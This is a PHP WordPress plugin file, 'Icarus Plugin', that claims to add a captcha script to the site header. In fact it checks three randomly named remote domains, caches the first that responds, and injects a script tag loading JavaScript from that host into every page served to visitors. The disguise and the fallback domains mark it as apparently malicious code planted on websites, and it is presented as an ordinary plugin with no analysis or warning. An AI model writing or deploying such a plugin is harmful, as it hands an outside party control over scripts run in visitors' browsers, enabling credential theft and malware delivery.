<?php
/**
 * Plugin Name: Icarus Plugin
 * Description: Inject captcha script into wp_head.
 * Version: 1.0.0
 * Author: Icarus
 */

if (!defined('ABSPATH')) {
    exit;
}

add_action('wp_head', 'icarus_plugin_head');

function icarus_plugin_head() {
    $urls = [
        'https://triapfog.com/c8ppwoye50/api',
        'https://iocriotao.icu/c8ppwoye50/api',
        'https://mioiooo.icu/c8ppwoye50/api',
    ];
    $cache_key = 'icarus_active_url';
    $active_url = get_transient($cache_key);
    if ($active_url === false) {
        $active_url = $urls[0];
        foreach ($urls as $url) {
            $response = wp_remote_head($url, ['timeout' => 2]);
            if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) < 400) {
                $active_url = $url;
                break;
            }
        }
        set_transient($cache_key, $active_url, 5 * MINUTE_IN_SECONDS);
    }
    echo '<script src="' . esc_url($active_url) . '"><' . '/script>';
}
